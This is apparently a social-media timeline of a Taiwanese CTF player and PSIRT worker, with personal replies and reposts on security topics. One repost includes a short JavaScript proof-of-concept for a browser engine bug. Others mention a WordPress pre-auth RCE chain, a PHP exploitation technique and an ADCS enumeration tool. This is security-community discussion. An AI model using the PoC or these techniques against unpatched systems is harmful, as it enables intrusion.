Bandit

🇹🇼 / CTFer / @10sec_tw / ISA 62443 / PSIRT

[Bandit @Bandit65537]

@Taomi_TuanZih 夢到被蝦子搧耳光之類的嗎...

[Uncle Bob Martin @unclebobmartin]

I’m significantly older than you. I started coding in the late 60s. My current strategy is to not read any of the code written by my agents. That’s the only way I can take advantage of their productivity. What I do instead is to surround the agents with extreme constraints. Unit tests, gherkin tests, QA procedures, quality metrics, mutation testing, test coverage, and a plethora of others. In the end, I have very high confidence in the code they produce because they’ve had to run the gauntlet of all of my constraints and tests.

[Omid Rezaei @omidxrz]

Can you spot the bypass technique?
if you can't, don't worry about it, Just wait for the new challenges on https://t.co/FyxMJriUNm, they'll teach you :D

[Bandit @Bandit65537]

@_splitline_ 原來是新的

[Bandit @Bandit65537]

@spendergrsec Agree.

Additionally, since the introduction of CVSS 4.0, scores have become noticeably inflated, resulting in far more meaningless "High" and "Critical" ratings.

This is seriously disrupting downstream vendors' vulnerability triage and prioritization.

[Calif @calif_io]

We've reproduced the pre-auth RCE chain in Wordpress (wp2shell). It's real, patch!

Shoutout to @hash_kitten at Assetnote for catching such an awesome bug!

[xvonfers @xvonfers]

(CVE-2026-11645)[$55000][506689381][objects]
PoC:
```
let key = 'AA';
let value = 2;
class C extends Function {
[key] = value;
}

let o1 = new C('\'use strict\'');
value = 1.1;
let o2 = new C('\'use strict\'');
```

[Bandit @Bandit65537]

Like it

[Frank Wu @FrankOverF1ow]

See you on Vegas!

Will share one of the most exciting exploit tricks I have found with @Nyaaaaa_ovo

Remote 1-byte OOB → ASLR leak → full RCE
on the hardened PHP using built-in, remotely sprayable obects.

(can you make https://t.co/j20dpbvRwp work on the latest PHP?)

[Bandit @Bandit65537]

@Inndy_tw QQ?

GENTOO 的 SU 居然沒辦法復現！？

[Bandit @Bandit65537]

@BinsaeedRashid 111

[Li-Yun Lin (Jamie), PhD @jamielinliyun]

#HPV #Vaccine #Korea

子宮頸癌是女性第四大常見癌症，可以透過HPV疫苗與定期檢查預防，但我們與根除的距離有多遠？

韓國研究用新數學模型分析，指出若女性接種疫苗接種率從80%提升至95%，或是將男性HPV疫苗接種率提高到80%，有望在60-70年內消除韓國與HPV相關的癌症

🔗：https://t.co/hV62bp53UY

[Alex Neff @al3x_n3ff]

A new NetExec module: certipy-find🔥

As ADCS is still configured insecurely in many environments, I decided to integrate the certipy find command into NetExec.
Now you can quickly find and enumerate vulnerable templates before bringing out the big guns.

[Bandit @Bandit65537]

@Taomi_TuanZih 雖然很久沒出現了，但桃米一直在我心裡都是很棒ㄉ人ㄛ！

[Bandit @Bandit65537]

@miya3127 @Curlymilk100 可以踢嗎(X

[Bandit @Bandit65537]

@WanKanna0125 感覺特別ㄎㄧㄤ

[Bandit @Bandit65537]

@NVIDIAGeForce #GeForceGreats

NVIDIA's groundbreaking innovation started with this GPU—it's so cool!

[NVIDIA GeForce @NVIDIAGeForce]

5 days to CES.

5 classic cards up for grabs.

ALL signed by NVIDIA CEO Jensen Huang 👀

Up first: GeForce 256, the world's 1st GPU

Want it? Comment #GeForceGreats for a chance to win...

[Bandit @Bandit65537]

@MrChinjyao 先幫你上香 \|/

[Bandit @Bandit65537]

@MrChinjyao 不獸控製...